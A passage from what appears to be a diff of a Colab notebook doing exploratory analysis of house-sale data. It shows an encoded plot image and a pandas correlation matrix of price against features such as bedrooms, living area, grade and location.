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58nhcNjF6/Vq5MiRuv766xUOh7f5Mx988IEuvPDChLYTAJCZ3MluAAAAiXbMMcfo4YcfViAQ0Msvv6yLLrpIHo9HV155Zaf9gsGgDdL69OmTtLYCADILGTAAQNbx+Xzq16+fhg4dqp/85CeaMmWKXnjhBZsdO+mkk/Tb3/5WAwYM0OjRo7faBbGurk4/+tGPVF5erpycHO2111566aWXOra/9dZbOuSQQ5Sbm6vBgwfrpz/9qZqbm5PyWgEAqYUMGAAg65lAaf369XZ99uzZKioq0iuvvLLVfaPRqI499lg1Njbq8ccf14gRI/Tll1/K5XLZ7UuWLLEZthtvvFEPPfSQ1q1bp+nTp9vFZN0AANmNAAwAkLVisZgNuP7973/r4osvtsFSfn6+/vKXv9iuh1vz6quv6v3339eCBQu0++6728d22223ju033XSTzjrrLF1yySX2/qhRo3T33XfrsMMO0/33328zZgCA7EUXRABA1jHdBQsKCmwwZLJZP/jBD3TdddfZbXvvvfc2gy/jk08+0aBBgzqCr819+umneuSRR+zx25epU6fazNmyZct67DUBANIDGTAAQNY5/PDDbTbKBFpmrJfb/c3HocmA7ai74vY0NTXZ8WFm3NfmhgwZsgutBgBkAgIwAEDWMUGWKT/fHePGjdOqVav09ddfbzULtu+++9oxYd09PgAgs9EFEQCAnWDGch166KE69dRTbaEO063wX//6l2bOnGm3//KXv9Q777xji26Y7oqLFi3S888/b+8DAEAABgDATvrHP/6h/fffX2eccYbGjh2rK664QpFIpCND9vrrr9sMmSlFv88+++iaa66xXR0BAHDETAkoAAAAAECPIwMGAAAAAAlCAAYAAAAACUIABgAAAAAJQgAGAAAAAAlCAAYAAAAACUIABgAAAAAJQgAGAAAAAAlCAAYAAAAACUIABgAAAAAJQgAGAAAAAAlCAAYAAAAASoz/D3NMUcLfPjwgAAAAAElFTkSuQmCC",
-      "text/plain": [
-       "<Figure size 1000x500 with 1 Axes>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "5af0d761",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 665
+        },
+        "id": "5af0d761",
+        "outputId": "682341eb-f22f-4d0c-8a19-8ba2e49e035f"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "                  price  bedrooms  bathrooms  sqft_living  sqft_lot    floors  \\\n",
+              "price          1.000000  0.281523   0.431503     0.572382 -0.055178  0.274968   \n",
+              "bedrooms       0.281523  1.000000   0.485782     0.625677  0.243591  0.143011   \n",
+              "bathrooms      0.431503  0.485782   1.000000     0.723626 -0.055640  0.511809   \n",
+              "sqft_living    0.572382  0.625677   0.723626     1.000000  0.233735  0.340626   \n",
+              "sqft_lot      -0.055178  0.243591  -0.055640     0.233735  1.000000 -0.466254   \n",
+              "floors         0.274968  0.143011   0.511809     0.340626 -0.466254  1.000000   \n",
+              "waterfront     0.042596 -0.015382  -0.001725     0.000102  0.020186 -0.004507   \n",
+              "view           0.212800  0.036929   0.085868     0.143684  0.047037 -0.013400   \n",
+              "condition      0.039636  0.022685  -0.148085    -0.061640  0.155166 -0.287360   \n",
+              "grade          0.594555  0.309843   0.600815     0.668823 -0.009255  0.470518   \n",
+              "sqft_above     0.467594  0.505084   0.651597     0.836565  0.197095  0.542276   \n",
+              "sqft_basement  0.214158  0.179573   0.154500     0.265470 -0.007517 -0.296778   \n",
+              "yr_built       0.039838  0.157947   0.549665     0.357622 -0.141682  0.524378   \n",
+              "yr_renovated   0.082276  0.006565   0.029349     0.022623 -0.004451  0.000430   \n",
+              "zipcode        0.010124 -0.160592  -0.218569    -0.222157 -0.250450 -0.073691   \n",
+              "lat            0.517605 -0.045956  -0.025143    -0.005237 -0.168975  0.019646   \n",
+              "long           0.038182  0.155034   0.260607     0.274790  0.253411  0.147739   \n",
+              "sqft_living15  0.512738  0.391771   0.537293     0.716972  0.264806  0.262224   \n",
+              "sqft_lot15    -0.070705  0.188767  -0.034973     0.187120  0.855042 -0.383257   \n",
+              "\n",
+              "               waterfront      view  condition     grade  sqft_above  \\\n",
+              "price            0.042596  0.212800   0.039636  0.594555    0.467594   \n",
+              "bedrooms        -0.015382  0.036929   0.022685  0.309843    0.505084   \n",
+              "bathrooms       -0.001725  0.085868  -0.148085  0.600815    0.651597   \n",
+              "sqft_living      0.000102  0.143684  -0.061640  0.668823    0.836565   \n",
+              "sqft_lot         0.020186  0.047037   0.155166 -0.009255    0.197095   \n",
+              "floors          -0.004507 -0.013400  -0.287360  0.470518    0.542276   \n",
+              "waterfront       1.000000  0.231879   0.010205 -0.008291   -0.006218   \n",
+              "view             0.231879  1.000000   0.029667  0.124040    0.056901   \n",
+              "condition        0.010205  0.029667   1.000000 -0.182461   -0.173018   \n",
+              "grade           -0.008291  0.124040  -0.182461  1.000000    0.681696   \n",
+              "sqft_above      -0.006218  0.056901  -0.173018  0.681696    1.000000   \n",
+              "sqft_basement    0.006828  0.160890   0.148180  0.018706   -0.259618   \n",
+              "yr_built        -0.024660 -0.074552  -0.363667  0.495600    0.474904   \n",
+              "yr_renovated     0.036929  0.061616  -0.059837 -0.014500   -0.000555   \n",
+              "zipcode          0.043042  0.120216   0.000642 -0.190877   -0.304030   \n",
+              "lat             -0.026546  0.014887   0.005370  0.076809   -0.076948   \n",
+              "long            -0.018451 -0.090041  -0.102397  0.225634    0.398401   \n",
+              "sqft_living15    0.010426  0.173772  -0.121204  0.635893    0.685444   \n",
+              "sqft_lot15       0.036366  0.048928   0.135880  0.046797    0.154069   \n",
+              "\n",
+              "               sqft_basement  yr_built  yr_renovated   zipcode       lat  \\\n",
+              "price               0.214158  0.039838      0.082276  0.010124  0.517605   \n",
+              "bedrooms            0.179573  0.157947      0.006565 -0.160592 -0.045956   \n",
+              "bathrooms           0.154500  0.549665      0.029349 -0.218569 -0.025143   \n",
+              "sqft_living         0.265470  0.357622      0.022623 -0.222157 -0.005237   \n",
+              "sqft_lot           -0.007517 -0.141682     -0.004451 -0.250450 -0.168975   \n",
+              "floors             -0.296778  0.524378      0.000430 -0.073691  0.019646   \n",
+              "waterfront          0.006828 -0.024660      0.036929  0.043042 -0.026546   \n",
+              "view                0.160890 -0.074552      0.061616  0.120216  0.014887   \n",
+              "condition           0.148180 -0.363667     -0.059837  0.000642  0.005370   \n",
+              "grade               0.018706  0.495600     -0.014500 -0.190877  0.076809   \n",
+              "sqft_above         -0.259618  0.474904     -0.000555 -0.304030 -0.076948   \n",
+              "sqft_basement       1.000000 -0.180521      0.038093  0.164957  0.146508   \n",
+              "yr_built           -0.180521  1.000000     -0.217649 -0.350629 -0.182428   \n",
+              "yr_renovated        0.038093 -0.217649      1.000000  0.076465  0.034532   \n",
+              "zipcode             0.164957 -0.350629      0.076465  1.000000  0.288507   \n",
+              "lat                 0.146508 -0.182428      0.034532  0.288507  1.000000   \n",
+              "long               -0.245369  0.428585     -0.075982 -0.576946 -0.172276   \n",
+              "sqft_living15       0.052064  0.358253     -0.047362 -0.292246 -0.002209   \n",
+              "sqft_lot15          0.004895 -0.036007     -0.016870 -0.259762 -0.140684   \n",
+              "\n",
+              "                   long  sqft_living15  sqft_lot15  \n",
+              "price          0.038182       0.512738   -0.070705  \n",
+              "bedrooms       0.155034       0.391771    0.188767  \n",
+              "bathrooms      0.260607       0.537293   -0.034973  \n",
+              "sqft_living    0.274790       0.716972    0.187120  \n",
+              "sqft_lot       0.253411       0.264806    0.855042  \n",
+              "floors         0.147739       0.262224   -0.383257  \n",
+              "waterfront    -0.018451       0.010426    0.036366  \n",
+              "view          -0.090041       0.173772    0.048928  \n",
+              "condition     -0.102397      -0.121204    0.135880  \n",
+              "grade          0.225634       0.635893    0.046797  \n",
+              "sqft_above     0.398401       0.685444    0.154069  \n",
+              "sqft_basement -0.245369       0.052064    0.004895  \n",
+              "yr_built       0.428585       0.358253   -0.036007  \n",
+              "yr_renovated  -0.075982      -0.047362   -0.016870  \n",
+              "zipcode       -0.576946      -0.292246   -0.259762  \n",
+              "lat           -0.172276      -0.002209   -0.140684  \n",
+              "long           1.000000       0.361030    0.248683  \n",
+              "sqft_living15  0.361030       1.000000    0.261226  \n",
+              "sqft_lot15     0.248683       0.261226    1.000000  "
+            ],
+            "text/html": [
+              "\n",
+              "  <div id=\"df-02840559-6d62-41b9-b59e-b2ce8147beb0\" class=\"colab-df-container\">\n",
+              "    <div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>price</th>\n",
+              "      <th>bedrooms</th>\n",
+              "      <th>bathrooms</th>\n",
+              "      <th>sqft_living</th>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <th>floors</th>\n",
+              "      <th>waterfront</th>\n",
+              "      <th>view</th>\n",
+              "      <th>condition</th>\n",
+              "      <th>grade</th>\n",
+              "      <th>sqft_above</th>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <th>yr_built</th>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <th>zipcode</th>\n",
+              "      <th>lat</th>\n",
+              "      <th>long</th>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <th>sqft_lot15</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>price</th>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.281523</td>\n",
+              "      <td>0.431503</td>\n",
+              "      <td>0.572382</td>\n",
+              "      <td>-0.055178</td>\n",
+              "      <td>0.274968</td>\n",
+              "      <td>0.042596</td>\n",
+              "      <td>0.212800</td>\n",
+              "      <td>0.039636</td>\n",
+              "      <td>0.594555</td>\n",
+              "      <td>0.467594</td>\n",
+              "      <td>0.214158</td>\n",
+              "      <td>0.039838</td>\n",
+              "      <td>0.082276</td>\n",
+              "      <td>0.010124</td>\n",
+              "      <td>0.517605</td>\n",
+              "      <td>0.038182</td>\n",
+              "      <td>0.512738</td>\n",
+              "      <td>-0.070705</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bedrooms</th>\n",
+              "      <td>0.281523</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.485782</td>\n",
+              "      <td>0.625677</td>\n",
+              "      <td>0.243591</td>\n",
+              "      <td>0.143011</td>\n",
+              "      <td>-0.015382</td>\n",
+              "      <td>0.036929</td>\n",
+              "      <td>0.022685</td>\n",
+              "      <td>0.309843</td>\n",
+              "      <td>0.505084</td>\n",
+              "      <td>0.179573</td>\n",
+              "      <td>0.157947</td>\n",
+              "      <td>0.006565</td>\n",
+              "      <td>-0.160592</td>\n",
+              "      <td>-0.045956</td>\n",
+              "      <td>0.155034</td>\n",
+              "      <td>0.391771</td>\n",
+              "      <td>0.188767</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bathrooms</th>\n",
+              "      <td>0.431503</td>\n",
+              "      <td>0.485782</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.723626</td>\n",
+              "      <td>-0.055640</td>\n",
+              "      <td>0.511809</td>\n",
+              "      <td>-0.001725</td>\n",
+              "      <td>0.085868</td>\n",
+              "      <td>-0.148085</td>\n",
+              "      <td>0.600815</td>\n",
+              "      <td>0.651597</td>\n",
+              "      <td>0.154500</td>\n",
+              "      <td>0.549665</td>\n",
+              "      <td>0.029349</td>\n",
+              "      <td>-0.218569</td>\n",
+              "      <td>-0.025143</td>\n",
+              "      <td>0.260607</td>\n",
+              "      <td>0.537293</td>\n",
+              "      <td>-0.034973</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living</th>\n",
